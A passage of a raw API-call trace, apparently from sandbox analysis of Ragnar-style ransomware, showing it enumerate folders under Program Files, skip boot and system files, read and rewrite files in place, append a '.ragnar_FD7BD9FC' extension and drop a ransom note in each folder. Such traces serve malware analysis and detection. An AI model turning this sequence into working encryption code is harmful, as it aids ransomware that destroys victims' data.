lpString2="autorun.inf") returned 1 [0078.195] lstrcmpiW (lpString1="VBUI6.CHM", lpString2="boot.ini") returned 1 [0078.195] lstrcmpiW (lpString1="VBUI6.CHM", lpString2="bootfont.bin") returned 1 [0078.195] lstrcmpiW (lpString1="VBUI6.CHM", lpString2="bootsect.bak") returned 1 [0078.195] lstrcmpiW (lpString1="VBUI6.CHM", lpString2="bootmgr") returned 1 [0078.195] lstrcmpiW (lpString1="VBUI6.CHM", lpString2="bootmgr.efi") returned 1 [0078.195] lstrcmpiW (lpString1="VBUI6.CHM", lpString2="bootmgfw.efi") returned 1 [0078.195] lstrcmpiW (lpString1="VBUI6.CHM", lpString2="desktop.ini") returned 1 [0078.195] lstrcmpiW (lpString1="VBUI6.CHM", lpString2="iconcache.db") returned 1 [0078.195] lstrcmpiW (lpString1="VBUI6.CHM", lpString2="ntldr") returned 1 [0078.195] lstrcmpiW (lpString1="VBUI6.CHM", lpString2="ntuser.dat") returned 1 [0078.195] lstrcmpiW (lpString1="VBUI6.CHM", lpString2="ntuser.dat.log") returned 1 [0078.195] lstrcmpiW (lpString1="VBUI6.CHM", lpString2="ntuser.ini") returned 1 [0078.195] lstrcmpiW (lpString1="VBUI6.CHM", lpString2="thumbs.db") returned 1 [0078.195] lstrcmpiW (lpString1=".CHM", lpString2=".db") returned -1 [0078.195] lstrcmpiW (lpString1=".CHM", lpString2=".sys") returned -1 [0078.195] lstrcmpiW (lpString1=".CHM", lpString2=".dll") returned -1 [0078.195] lstrcmpiW (lpString1=".CHM", lpString2=".lnk") returned -1 [0078.195] lstrcmpiW (lpString1=".CHM", lpString2=".msi") returned -1 [0078.195] lstrcmpiW (lpString1=".CHM", lpString2=".drv") returned -1 [0078.195] lstrcmpiW (lpString1=".CHM", lpString2=".exe") returned -1 [0078.195] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 0x20 [0078.196] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x108 [0078.196] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x1e99cc | out: lpFileSize=0x1e99cc*=416918) returned 1 [0078.196] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x65c8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.196] GetProcessHeap () returned 0x580000 [0078.196] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0078.196] ReadFile (in: hFile=0x108, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1e9990, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1e9990*=0x9, lpOverlapped=0x0) returned 1 [0078.198] VirtualAlloc (lpAddress=0x0, dwSize=0x65c96, flAllocationType=0x3000, flProtect=0x4) returned 0x21c0000 [0078.198] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.198] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e99a4 | out: lpNewFilePointer=0x0) returned 1 [0078.198] ReadFile (in: hFile=0x108, lpBuffer=0x21c0000, nNumberOfBytesToRead=0x65c96, lpNumberOfBytesRead=0x1e9984, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesRead=0x1e9984*=0x65c96, lpOverlapped=0x0) returned 1 [0078.207] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e9988 | out: lpNewFilePointer=0x0) returned 1 [0078.209] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x65c96, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.209] WriteFile (in: hFile=0x108, lpBuffer=0x21c0000*, nNumberOfBytesToWrite=0x65c96, lpNumberOfBytesWritten=0x1e9980, lpOverlapped=0x0 | out: lpBuffer=0x21c0000*, lpNumberOfBytesWritten=0x1e9980*=0x65c96, lpOverlapped=0x0) returned 1 [0078.210] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x65c96, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.210] VirtualFree (lpAddress=0x21c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0078.212] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x65c96, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.212] LockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0078.212] WriteFile (in: hFile=0x108, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0078.212] WriteFile (in: hFile=0x108, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1e99b4*=0x100, lpOverlapped=0x0) returned 1 [0078.213] WriteFile (in: hFile=0x108, lpBuffer=0x1e99b8*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1e99b4, lpOverlapped=0x0 | out: lpBuffer=0x1e99b8*, lpNumberOfBytesWritten=0x1e99b4*=0x9, lpOverlapped=0x0) returned 1 [0078.213] UnlockFile (hFile=0x108, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0078.213] GetProcessHeap () returned 0x580000 [0078.213] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0078.213] CloseHandle (hObject=0x108) returned 1 [0078.213] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" [0078.213] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.ragnar_FD7BD9FC" [0078.213] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0078.216] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0eee700, ftCreationTime.dwHighDateTime=0x1c685f9, ftLastAccessTime.dwLowDateTime=0xef0a44f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xa0eee700, ftLastWriteTime.dwHighDateTime=0x1c685f9, nFileSizeHigh=0x0, nFileSizeLow=0x65c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBUI6.CHM", cAlternateFileName="")) returned 0 [0078.216] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0078.216] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c31d60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80c31d60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.216] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0078.216] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0078.216] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0078.216] lstrcmpiW (lpString1="VBE7.DLL", lpString2=".") returned 1 [0078.216] lstrcmpiW (lpString1="VBE7.DLL", lpString2="..") returned 1 [0078.216] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0078.216] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.216] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80c31d60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80c31d60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.216] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80c31d60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80c31d60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.216] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80dd4c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dd4c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0078.216] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c31d60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80c31d60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.216] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0078.216] lstrcpyW (in: lpString1=0x1eab60, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.216] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.216] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.216] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 1 [0078.216] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3f [0078.216] lstrcpyW (in: lpString1=0x1eab60, lpString2="VBE7.DLL" | out: lpString1="VBE7.DLL") returned="VBE7.DLL" [0078.216] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\VBE7.DLL") returned=".DLL" [0078.217] lstrcmpiW (lpString1="VBE7.DLL", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0078.217] lstrcmpiW (lpString1="VBE7.DLL", lpString2="autorun.inf") returned 1 [0078.217] lstrcmpiW (lpString1="VBE7.DLL", lpString2="boot.ini") returned 1 [0078.217] lstrcmpiW (lpString1="VBE7.DLL", lpString2="bootfont.bin") returned 1 [0078.217] lstrcmpiW (lpString1="VBE7.DLL", lpString2="bootsect.bak") returned 1 [0078.217] lstrcmpiW (lpString1="VBE7.DLL", lpString2="bootmgr") returned 1 [0078.217] lstrcmpiW (lpString1="VBE7.DLL", lpString2="bootmgr.efi") returned 1 [0078.217] lstrcmpiW (lpString1="VBE7.DLL", lpString2="bootmgfw.efi") returned 1 [0078.217] lstrcmpiW (lpString1="VBE7.DLL", lpString2="desktop.ini") returned 1 [0078.217] lstrcmpiW (lpString1="VBE7.DLL", lpString2="iconcache.db") returned 1 [0078.217] lstrcmpiW (lpString1="VBE7.DLL", lpString2="ntldr") returned 1 [0078.217] lstrcmpiW (lpString1="VBE7.DLL", lpString2="ntuser.dat") returned 1 [0078.217] lstrcmpiW (lpString1="VBE7.DLL", lpString2="ntuser.dat.log") returned 1 [0078.217] lstrcmpiW (lpString1="VBE7.DLL", lpString2="ntuser.ini") returned 1 [0078.217] lstrcmpiW (lpString1="VBE7.DLL", lpString2="thumbs.db") returned 1 [0078.217] lstrcmpiW (lpString1=".DLL", lpString2=".db") returned 1 [0078.217] lstrcmpiW (lpString1=".DLL", lpString2=".sys") returned -1 [0078.217] lstrcmpiW (lpString1=".DLL", lpString2=".dll") returned 0 [0078.217] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d3ae00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xe2340dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x56d3ae00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0x381748, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBE7.DLL", cAlternateFileName="")) returned 0 [0078.217] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.217] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe22f4b00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe22f4b00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0078.217] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.217] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80c31d60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80c31d60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.217] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80c31d60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80c31d60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.217] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c31d60, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x80c31d60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0078.217] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0078.217] lstrcpyW (in: lpString1=0x1eb62e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0078.217] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\RGNR_FD7BD9FC.txt") returned=".txt" [0078.217] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0078.217] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80c31d60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80c31d60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 1 [0078.218] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x80c31d60, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80c31d60, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA7", cAlternateFileName="")) returned 0 [0078.218] FindClose (in: hFindFile=0x5a1328 | out: hFindFile=0x5a1328) returned 1 [0078.218] FindNextFileW (in: hFindFile=0x5a12e8, lpFindFileData=0x1ec2a0 | out: lpFindFileData=0x1ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xd250e300, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xd250e300, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VC", cAlternateFileName="")) returned 1 [0078.218] lstrcmpiW (lpString1="VC", lpString2=".") returned 1 [0078.218] lstrcmpiW (lpString1="VC", lpString2="..") returned 1 [0078.218] lstrcmpiW (lpString1="VC", lpString2="Windows") returned -1 [0078.218] lstrcmpiW (lpString1="VC", lpString2="Windows.old") returned -1 [0078.218] lstrcmpiW (lpString1="VC", lpString2="Tor browser") returned 1 [0078.218] lstrcmpiW (lpString1="VC", lpString2="Internet Explorer") returned 1 [0078.218] lstrcmpiW (lpString1="VC", lpString2="Google") returned 1 [0078.218] lstrcmpiW (lpString1="VC", lpString2="Opera") returned 1 [0078.218] lstrcmpiW (lpString1="VC", lpString2="Opera Software") returned 1 [0078.218] lstrcmpiW (lpString1="VC", lpString2="Mozilla") returned 1 [0078.218] lstrcmpiW (lpString1="VC", lpString2="Mozilla Firefox") returned 1 [0078.218] lstrcmpiW (lpString1="VC", lpString2="$Recycle.Bin") returned 1 [0078.218] lstrcmpiW (lpString1="VC", lpString2="ProgramData") returned 1 [0078.218] lstrcmpiW (lpString1="VC", lpString2="All Users") returned 1 [0078.218] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", nBufferLength=0x104, lpBuffer=0x1ec098, lpFilePart=0x1ec544 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\*.*", lpFilePart=0x1ec544*="*.*") returned 0x36 [0078.218] lstrcpyW (in: lpString1=0x1ec0fe, lpString2="VC" | out: lpString1="VC") returned="VC" [0078.218] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\" [0078.218] lstrcpyW (in: lpString1=0x1ebe8c, lpString2="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\" [0078.218] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\RGNR_FD7BD9FC.txt" [0078.218] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vc\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0078.221] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*") returned="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*" [0078.221] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", nBufferLength=0x104, lpBuffer=0x1eb1ac, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x39 [0078.221] lstrcpyW (in: lpString1=0x1eafa4, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.221] lstrcpyW (in: lpString1=0x1eb218, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0078.221] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\VC\\*.*", lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x80dd4c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dd4c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1328 [0078.221] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.221] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbd2c6940, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0x80dd4c80, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x80dd4c80, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.222] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.222] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.222] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ef3e00, ftCreationTime.dwHighDateTime=0x1cbd033, 